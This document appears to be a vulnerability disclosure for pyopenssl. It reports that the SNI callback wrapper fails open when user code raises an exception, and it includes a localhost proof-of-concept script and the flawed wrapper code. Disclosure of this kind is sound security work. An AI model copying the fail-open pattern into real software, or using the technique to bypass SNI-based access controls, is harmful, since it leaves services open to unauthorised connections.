How it was found

Fail-Open Vulnerability in set_tlsext_servername_callback allows Security Bypass via Unhandled Exceptions

Summary

The pyopenssl library exhibits a Fail-Open vulnerability in its handling of the Server Name Indication (SNI) callback (set_tlsext_servername_callback). The internal wrapper for this callback catches all Python exceptions raised by user code but returns 0 (Success/SSL_TLSEXT_ERR_OK) to the underlying OpenSSL engine.

This behavior allows a TLS connection to be successfully established even when the security validation logic inside the callback crashes or raises an exception, potentially bypassing critical access controls or authentication mechanisms implemented at the SNI layer.

Vulnerability Description

In src/OpenSSL/SSL.py, the set_tlsext_servername_callback method wraps the user-provided function with a decorator that does not explicitly handle exceptions to signal failure:

# OpenSSL/SSL.py
@wraps(callback)
def wrapper(ssl, alert, arg):
    callback(Connection._reverse_mapping[ssl])
    return 0  # Always returns Success (0)

When callback(...) raises an exception, the CFFI layer catches it, prints the traceback to stderr, and returns the default value for the declared return type (int), which is 0.

In the context of the OpenSSL SSL_CTX_set_tlsext_servername_callback, a return value of 0 corresponds to SSL_TLSEXT_ERR_OK. Consequently, OpenSSL proceeds with the handshake as if the validation succeeded.

Correct Secure Behavior (Fail-Closed): If the callback raises an unhandled exception, the wrapper should catch it and return SSL_TLSEXT_ERR_ALERT_FATAL (or similar) to abort the handshake, ensuring a secure failure state.

Steps to Reproduce

1. Install pyopenssl.
2. Run the following Python script (poc.py).
3. Observe that the client successfully connects and receives data ("VULNERABILITY CONFIRMED") despite the server's validation callback raising a ValueError.

Proof of Concept (PoC)

import socket
import threading
import time
from OpenSSL import SSL, crypto
import os

def generate_cert():
    k = crypto.PKey()
    k.generate_key(crypto.TYPE_RSA, 2048)
    cert = crypto.X509()
    cert.get_subject().CN = 'VulnerableServer'
    cert.set_serial_number(1000)
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(10*365*24*60*60)
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(k)
    cert.sign(k, 'sha256')
    return cert, k

cert, key = generate_cert()

def crashing_callback(connection):
    # Simulates a security check that crashes (e.g., DB error, logic bug)
    print("\n[SERVER] Callback executing... Raising Exception!")
    raise ValueError("Critical Security Check Failed!")
    # The code never reaches a point to explicitly reject the connection.

def start_server():
    context = SSL.Context(SSL.TLS_SERVER_METHOD)
    context.use_privatekey(key)
    context.use_certificate(cert)
    context.set_tlsext_servername_callback(crashing_callback)
    
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    # Using port 4433 to avoid conflicts
    try:
        server.bind(('localhost', 4433))
    except Exception as e:
        print(f"[SERVER] Bind failed (port busy?): {e}")
        return
        
    server.listen(1)
    
    try:
        conn, addr = server.accept()
        ssl_conn = SSL.Connection(context, conn)
        ssl_conn.set_accept_state()
        try:
            ssl_conn.do_handshake()
            # If we reach here, the vulnerability is triggered
            ssl_conn.sendall(b"VULNERABILITY CONFIRMED: Connection Accepted")
            ssl_conn.shutdown()
        except Exception as e:
            print(f"[SERVER] Handshake Failed (Safe): {e}")
        finally:
            ssl_conn.close()
            conn.close()
    finally:
        server.close()

def start_client():
    time.sleep(1)
    context = SSL.Context(SSL.TLS_CLIENT_METHOD)
    context.set_verify(SSL.VERIFY_NONE, lambda *args: True)
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect(('localhost', 4433))
        ssl_conn = SSL.Connection(context, sock)
        ssl_conn.set_connect_state()
        ssl_conn.set_tlsext_host_name(b"test.local")
        
        try:
            ssl_conn.do_handshake()
            data = ssl_conn.recv(1024)
            print(f"\n[CLIENT] Received: {data.decode()}")
        except Exception as e:
            print(f"\n[CLIENT] Handshake Failed: {e}")
    finally:
        sock.close()

if __name__ == '__main__':
    t = threading.Thread(target=start_server)
    t.start()
    start_client()
    t.join()

Impact

This issue allows attackers to bypass security controls implemented via SNI callbacks.

If a developer relies on set_tlsext_servername_callback to enforce access policies (e.g., "Allow connection only if SNI matches X"), an attacker who can trigger an exception in that logic (e.g., via malformed input or resource exhaustion) will successfully establish a TLS connection, bypassing the intended restriction. This violates the "Fail-Secure" design principle required for security-critical libraries.